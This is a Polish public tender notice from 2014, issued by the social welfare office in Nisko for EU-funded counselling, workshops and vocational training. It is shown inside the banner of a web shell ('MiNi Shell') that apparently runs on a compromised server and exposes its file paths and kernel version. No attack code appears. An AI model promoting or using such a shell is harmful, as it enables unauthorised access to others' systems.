Devil Killer Is Here MiNi Shell
MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20140506/
Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Current File : /home/vmanager/www/common/web/tenders/20140506/150046-N-2014.html
<p class="kh_header"><b>Nisko: Świadczenie usług w zakresie grupowych warsztatów psychoedukacyjnych, indywidualnego
doradztwa zawodowego, grupowego poradnictwa prawnego,
 indywidualnego poradnictwa psychologiczno - psychoterapeutycznego, 
samopomocowej grupy wsparcia, szkoleń zawodowych/kursów 

w ramach realizacji projektu pn.: 

Czas na aktywność w Gminie i Mieście Nisko

współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego w ramach Programu Operacyjnego Kapitał Ludzki</b><br>
<b>Numer ogłoszenia: 150046 - 2014; data zamieszczenia: 06.05.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Ośrodek Pomocy Społecznej , ul. 3 Maja 10, 37-400 Nisko, woj. podkarpackie, tel. 015 8412334, faks 015 8412334.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ops.nisko.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: ośrodek pomocy społecznej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Świadczenie usług w zakresie grupowych warsztatów psychoedukacyjnych, indywidualnego
doradztwa zawodowego, grupowego poradnictwa prawnego,
 indywidualnego poradnictwa psychologiczno - psychoterapeutycznego, 
samopomocowej grupy wsparcia, szkoleń zawodowych/kursów 

w ramach realizacji projektu pn.: 

Czas na aktywność w Gminie i Mieście Nisko

współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego w ramach Programu Operacyjnego Kapitał Ludzki.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest świadczenie usług w zakresie grupowych warsztatów psychoedukacyjnych, indywidualnego doradztwa zawodowego, grupowego poradnictwa prawnego, indywidualnego poradnictwa psychologiczno - psychoterapeutycznego, samopomocowej grupy wsparcia, szkoleń zawodowych/kursów w ramach realizacji projektu pn.: Czas na aktywność w Gminie i Mieście Nisko współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego w ramach Programu Operacyjnego Kapitał Ludzki, Priorytet VII. Promocja integracji społecznej, Działanie 7.1 Rozwój i upowszechnianie aktywnej integracji, Poddziałanie 7.1.1 Rozwój i upowszechnianie aktywnej integracji przez ośrodki pomocy społecznej.
1.	Opis przedmiotu zamówienia:

1)	Grupowe warsztaty psychoedukacyjne prowadzone przez psychologa w wymiarze 
35 godzin lekcyjnych dla 14 uczestników i uczestniczek projektu (metoda realizacji - warsztaty grupowe):

a)	Moduły: warsztaty zarządzania czasem - 5 godzin, warsztaty rozwiązywania konfliktów - 5 godzin, warsztaty mediacji i negocjacji - 8 godzin, warsztaty umiejętności wychowawczych - 6 godzin, warsztaty umiejętności komunikacyjnych 
i trening asertywności - 7 godzin, zajęcia z zasady równości szans 
i równouprawnienia - 4 godziny.
b)	Zajęcia realizowane metodą warsztatową w jednej 14 osobowej grupie. 
c)	Wykonawca zapewnia: materiały szkoleniowe, salę do przeprowadzenia zajęć, serwis kawowy (kawa, herbata, woda mineralna, soki, ciasteczka) oraz ciepły posiłek. 

2)	Grupowe warsztaty psychoedukacyjne prowadzone przez psychologa dla 4 uczestników 
i uczestniczek projektu w wymiarze 40 godzin lekcyjnych (metoda realizacji - warsztaty grupowe):

a)	Moduły: warsztaty zarządzania czasem - 5 godzin, warsztaty rozwiązywania konfliktów - 5 godzin, warsztaty mediacji i negocjacji - 5 godzin, warsztaty umiejętności wychowawczych - 16 godzin, warsztaty umiejętności komunikacyjnych i trening asertywności - 5 godzin, zajęcia z zasady równości szans 
u równouprawnienia - 4 godziny.
b)	Zajęcia realizowane metodą warsztatową w jednej 4 osobowej grupie. 
c)	Wykonawca zapewnia: materiały szkoleniowe, salę do przeprowadzenia zajęć, serwis kawowy (kawa, herbata, woda mineralna, soki, ciasteczka) oraz ciepły posiłek.

3)	Indywidualne doradztwo zawodowe prowadzone przez doradcę zawodowego (metoda realizacji - spotkania indywidualne):

a)	Zakres: diagnoza potrzeb, informacja o przekwalifikowaniu zawodowym, informacja o rynku pracy, sporządzanie CV, innej tematyki dostosowanej do potrzeb uczestników i uczestniczek projektu.
b)	Liczba uczestników/uczestniczek: 18 osób.
c)	Wymiar i liczba godzin: 3 godziny indywidualnie z każdym uczestnikiem/uczestniczką projektu.
d)	Wykonawca zapewnia: materiały szkoleniowe, salę do przeprowadzenia zajęć, serwis kawowy (kawa, herbata, woda mineralna, soki, ciasteczka).

4)	Grupowe poradnictwo prawne (metoda realizacji - grupowe poradnictwo prawne w obszarze tematycznym wskazanym w lit. a) prowadzone przez prawnika(wykształcenie wyższe magisterskie  kierunek prawo).

a)	Moduły: prawo rodzinne, prawa pracy,  spółdzielczości socjalnej,  przemocy w rodzinie, inne w razie potrzeby. 
b)	Zajęcia realizowane w dwóch grupach po 9 osób: 2 spotkania po 4 godziny dla każdej grupy. Łącznie 16 godzin lekcyjnych. 
c)	Wykonawca zapewnia: materiały szkoleniowe, salę do przeprowadzenia zajęć, serwis kawowy (kawa, herbata, woda mineralna, soki, ciasteczka).

5)	Indywidualne poradnictwo psychologiczno - psychoterapeutyczne prowadzone przez psychologa(metoda realizacji - indywidualne spotkania) - 50 godzin lekcyjnych dla wszystkich zainteresowanych uczestników/uczestniczek projektu, maksymalnie dla 18 osób. 
Wykonawca zapewnia: salę do przeprowadzenia zajęć, serwis kawowy (kawa, herbata, woda mineralna, soki, ciasteczka). Łącznie 50 godzin lekcyjnych indywidualnego poradnictwa. 

6)	Samopomocowa grupa wsparcia dla maksymalnie 18 osób(metoda realizacji -spotkania grupowe) prowadzona przez osobę z wykształceniem wyższym magisterskim 
kierunku o psychologia lub pedagogika lub socjologia
a)	wymiar  i liczba godzin: 4 godzin lekcyjne w miesiącu (2 spotkania po 2 godziny). Łącznie 20 godzin w okresie obowiązywania umowy. 
b)	zajęcia realizowane w jednej grupie w okresie obowiązywania umowy z wykonawcą. 
c)	Wykonawca zapewnia: salę do przeprowadzenia zajęć, serwis kawowy (kawa, herbata, woda mineralna, soki, ciasteczka).

7)	Szkolenia zawodowe /kursy dla 14 uczestników/uczestniczek projektu.

a)	rodzaj szkoleń: Księgowość komputerowa dla 1 osoby -100 godzin lekcyjnych; Nowoczesny sprzedawca dla 4 osób -100 godzin lekcyjnych; Kucharz - kelner dla 2 osób -150 godzin lekcyjnych; Opiekuna osób starszych i niepełnosprawnych dla 4 osób -150 godzin lekcyjnych; Cukiernik-ciastkarz dla 1 osoby -100 godzin lekcyjnych; Kosmetyczka-fryzjer dla 2 osób -140 godzin lekcyjnych; Wykonawca zapewnia:niezbędną sali i sprzęt do prowadzenia szkolenia zgodnie z zasadami BHP; zorganizowanie i sfinansowanie niezbędnych badań lekarskich w tym sanepidowskich; materiały szkoleniowe w tym jednego podręcznika tematycznego dla każdego uczestnika i uczestniczki szkolenia; serwis kawowy (kawa, herbata, woda mineralna, soki, ciasteczka) i ciepły posiłek; zajęcia w formie wykładów teoretycznych, warsztatów i zajęć praktycznych. Szczegółowy opis zawarto w specyfikacji istotnych warunków zamówienia.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 80.57.00.00-0, 80.00.00.00-4, 80.50.00.00-9, 80.53.00.00-8, 55.52.00.00-1.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 12.11.2014.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Posiadają aktualny wpis do rejestru instytucji szkoleniowych.
Wykonawca potwierdza spełnianie warunku składając oświadczenie o spełnianiu warunków określonych w art. 22 ust.1 ustawy Pzp</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony, jeżeli Wykonawca wykaże, że w okresie ostatnich 3 (trzech) lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w  tym okresie, wykonał należycie, a przypadku świadczeń okresowych lub ciągłych wykonuje co najmniej 2(dwie) usługi szkoleniowe o wartości 
co najmniej 30 000  złotych brutto każde</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający  nie określa szczególnych wymagań w zakresie spełniania tego warunku. Wykonawca potwierdza spełnianie warunku składając oświadczenie o spełnianiu warunków określonych w art. 22 ust.1 ustawy Pzp</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony, jeżeli Wykonawca wykaże, że dysponuje osobami, posiadającymi kwalifikacje zawodowe oraz doświadczenie i wykształcenie niezbędne do wykonania przedmiotu zamówienia tj:
a) w przypadku warsztatów psychoedukacyjnych - dysponowanie osobą lub osobami 
    posiadającymi wykształcenie wyższe magisterskie (kierunek psychologia)
oraz
b) w przypadku indywidualnego doradztwa zawodowego - dysponowanie osobą lub osobami 
    posiadającymi wykształcenie wyższe magisterskie wraz z uprawnieniami doradcy 
    zawodowego
oraz
c) w przypadku grupowego poradnictwa prawnego zawodowego - dysponowanie osobą lub 
     osobami posiadającymi wykształcenie wyższe magisterskie (kierunek prawo)
oraz 
d) w przypadku samopomocowej grupy wsparcia - dysponowanie osobą lub osobami 
     posiadającymi wykształcenie wyższe magisterskie (kierunek psychologia lub pedagogika 
    lub socjologia)
oraz
e) w przypadku indywidualnego poradnictwa psychologiczno - psychoterapeutycznego - 
    dysponowanie osobą lub osobami posiadającymi wykształcenie wyższe magisterskie 
    (kierunek psychologia)
oraz
f) w przypadku szkoleń zawodowych/kursów - dysponowanie osobą lub osobami posiadającą/posiadającymi  wymagane uprawnienia(jeżeli ustawy nakładają obowiązek posiadania takich uprawnień) oraz doświadczenie tj. przeprowadziła/y co najmniej 2  szkolenia odpowiednio w zakresie danego szkolenia zawodowego/kursu</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określa szczególnych wymagań w zakresie spełniania tego warunku. Wykonawca potwierdza spełnianie warunku składając oświadczenie o spełnianiu warunków określonych w art. 22 ust.1 ustawy Pzp</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Wykonawca ma dostarczyć także:
1.	Wykaz zakresu zamówienia, który będzie realizowany przez Podwykonawców (jeżeli wykonawca przewiduje zaangażowanie podwykonawców do wykonania zamówienia).
Uwaga:
W przypadku powierzenia realizacji zamówienia podwykonawcom, wykonawca zobowiązany jest do wskazania w ofercie tej części zamówienia, której realizację powierzy podwykonawcy. 
W przypadku braku takiego oświadczenia, zamawiający uzna, iż wykonawca będzie realizował zamówienie bez udziału podwykonawców.
2.	Pisemne zobowiązanie podmiotów (w formie oryginału) do oddania do dyspozycji Wykonawcy niezbędnych zasobów na okres korzystania z nich przy wykonaniu zamówienia (jeżeli dotyczy) zawierające:
1)	okres jakiego zobowiązanie dotyczy,
2)	informację wskazującą, który konkretny zasób jest udostępniany, tj. w przypadku udostępnienia:
a)	wiedzy i doświadczenia należy wskazać konkretną formę uczestnictwa w realizacji zamówienia , 
b)	osób zdolnych do wykonania zamówienia należy imiennie wskazać osoby, które będą uczestniczyć  w wykonywaniu zamówienia.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1.	Zamawiający przewiduje możliwość zmiany postanowień zawartej umowy w stosunku do treści oferty w następujących przypadkach, gdy:
1)	nastąpi konieczność dokonania zmian w kadrze dydaktycznej, której nie można było przewidzieć w chwili podpisania umowy, Wykonawca jest zobowiązany niezwłocznie zawiadomić pisemnie Zamawiającego o zaistniałej sytuacji. Jeżeli Zamawiający uzna, że przyczyna zmiany jest uzasadniona, wówczas Wykonawca musi przedstawić kandydaturę osoby o kwalifikacjach równorzędnych lub wyższych od tych, jakie posiadała osoba wykonująca zamówienie. Zmiana kadry dydaktycznej może nastąpić wyłącznie wtedy, gdy jest korzystna dla Zamawiającego i Zamawiający wyrazi na nią zgodę.
2)	uczestnik/uczestniczka zajęć, warsztatów i szkoleń zrezygnuje lub zostanie wykreślona z listy. W takiej sytuacji Zamawiający zastrzega sobie możliwość skierowania innej osoby lub skierowania mniejszej liczby osób na dane szkolenia i zajęcia. W przypadku zmniejszenia liczby uczestników/uczestniczek wynagrodzenie należne Wykonawcy zostanie pomniejszone stosowanie do liczby faktycznie przeszkolonych osób.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.ops.nisko.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Ośrodek Pomocy Społecznej w Nisku ul. 3-go Maja 10 37-400 Nisko pokój nr 3.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 16.05.2014 godzina 14:00, miejsce: Ośrodek Pomocy Społecznej w Nisku ul. 3-go Maja 10 37-400 Nisko pokój nr 7(sekretariat).</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Świadczenie usług w zakresie grupowych warsztatów psychoedukacyjnych, indywidualnego
doradztwa zawodowego, grupowego poradnictwa prawnego,
 indywidualnego poradnictwa psychologiczno - psychoterapeutycznego, 
samopomocowej grupy wsparcia, szkoleń zawodowych/kursów 
jest realizowane w ramach projektu pn.: Czas na aktywność w Gminie i Mieście Nisko współfinansowanego ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego, w ramach Programu Operacyjnego Kapitał Ludzki, Priorytet VII. Promocja integracji społecznej, Działanie 7.1 Rozwój i upowszechnianie aktywnej integracji, Poddziałanie 7.1.1 Rozwój i upowszechnianie aktywnej integracji przez ośrodki pomocy społecznej...</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
Creat By MiNi SheLL
Email: jattceo@gmail.com